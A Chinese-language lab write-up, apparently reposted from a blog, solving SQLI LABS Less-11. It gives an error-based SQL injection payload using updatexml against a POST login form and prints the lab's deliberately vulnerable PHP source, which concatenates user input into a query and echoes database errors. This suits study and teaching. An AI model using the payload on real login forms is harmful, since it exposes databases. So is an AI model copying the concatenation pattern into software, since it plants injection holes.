当前位置: 首页 > article >正文

SQLI LABS | Less-11 POST-Error Based-Single quotes-String

关注这个靶场的其它相关笔记:SQLI LABS —— 靶场笔记合集-CSDN博客

0x01:过关流程

输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来):

 http://localhost/sqli-labs/Less-11/

如上,靶场中有一个登录框,要我们输入用户名与密码,似乎要我们进行登录。我们先随意传递点值,看看其反映(笔者传递的是:123 : 123):

可以看到,服务器返回了 LOGIN ATTEMPT FAILED,告诉我们登录失败了。问题不大,我们再多输入几组数据进行测试:

 测试 Payload 01: Username&password = 123 : 123 # 结果: LOGIN ATTEMPT FAILED
 测试 Payload 02: Username&password = 12' : 123 # 结果: 报错

可以看到,当我们传递 Payload 02 给服务器后端时,页面显示了报错信息,并且还返回了部分后端的查询模板,根据泄露的模板,我们可以推测目标后端的 SQL 模板如下:

 select * from users where username='$_POST["name"]' and password='$_POST["name"]' LIMIT 0,1;

根据上面的 SQL 模板,我们可以构造如下 Payload 对目标发起攻击:

 -- 获取当前服务器正在使用的数据库的名称
 攻击 Payload - Username: 12' and updatexml(1,concat(0x7e,database(),0x7e),1) #'
 攻击 Payload - Password: 123
 笔者备注: 0x7e 是字符 ~ 号,用于标识服务器报出来的数据。

可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。至此,SQLI LABS Less-11 POST-Error Based-Single quotes-String 成功过关。

0x02:源码分析

下面是 SQLI LABS Less-11 POST-Error Based-Single quotes-String 后端的部分源码,以及笔者做的笔记:

<?php
 //including the Mysql connect parameters.
 include("../sql-connections/sqli-connect.php"); // 获取数据库连接函数
 error_reporting(0);
 ​
 // take the variables
 if (isset($_POST['uname']) && isset($_POST['passwd'])) {
     $uname = $_POST['uname']; // 接收 POST 传递的 uname
     $passwd = $_POST['passwd']; // 接收 POST 传递的 passwd
 ​
     //logging the connection parameters to a file for analysis.
     $fp = fopen('result.txt', 'a');
     fwrite($fp, 'User Name:' . $uname);
     fwrite($fp, 'Password:' . $passwd . "\n");
     fclose($fp);
 ​
 ​
     // connectivity 
     @$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; // 后端的 SQL 插叙你语句模板
     $result = mysqli_query($con1, $sql);
     $row = mysqli_fetch_array($result, MYSQLI_BOTH);
 ​
     if ($row) { // 如果查询成功,显示登录名和登录密码
         //echo '<font color= "#0000ff">';   
 ​
         echo "<br>";
         echo '<font color= "#FFFF00" font size = 4>';
         //echo " You Have successfully logged in\n\n " ;
         echo '<font size="3" color="#0000ff">';
         echo "<br>";
         echo 'Your Login name:' . $row['username'];
         echo "<br>";
         echo 'Your Password:' . $row['password'];
         echo "<br>";
         echo "</font>";
         echo "<br>";
         echo "<br>";
         echo '<img src="../images/flag.jpg"  />';
 ​
         echo "</font>";
     } else { // 如果查询失败,会回显数据库错误信息。也是此处,导致的报错注入。
         echo '<font color= "#0000ff" font size="3">';
         //echo "Try again looser";
         print_r(mysqli_error($con1));
         echo "</br>";
         echo "</br>";
         echo "</br>";
         echo '<img src="../images/slap.jpg" />';
         echo "</font>";
     }
 }
 ?>


http://www.kler.cn/news/367009.html

相关文章:

  • MyBatis 配置详解
  • 【LeetCode:263. 丑数 + 数学】
  • docker安装postgres扩展age以及使用nodejs连接
  • cpp的vector类
  • 【Java网络编程】从套接字(Socket)概念到UDP与TCP套接字编程
  • 构建中小企业设备管理平台:Spring Boot应用
  • 机器学习认知包
  • 【Linux系统】进程的创建与程序计数器(PC指针)
  • windows DLL技术-DLL的更新和安全性
  • C++研发笔记8——C语言程序设计初阶学习笔记6
  • 028_Comma_Separated_List_in_Matlab中的逗号分割列表
  • electron 中 app 的 getName、setName 方法
  • react hook应用详解+diff 理解 + 父子组件渲染
  • 【论文阅读】2022 TChecker Precise Static Inter-Procedural Analysis for Detecting
  • Git_GitLab
  • 如何评估Mechanize和Poltergeist爬虫的效率和可靠性?
  • 解决 Spring Boot项目 CPU 尖刺问题
  • Vue学习笔记(二)
  • Docker快速上手教程:MacOS系统【安装/配置/使用/原理】全链路速通
  • avue-crud组件,输入框回车搜索问题
  • Oracle OCP认证考试考点详解082系列04
  • Redis 目录
  • 触想全新一代AIoT工控主板CX-3576上市热销
  • Spring Boot 整合 Kafka 详解
  • springboot-mybatisplus操作集锦(上)
  • 十分钟Linux中的epoll机制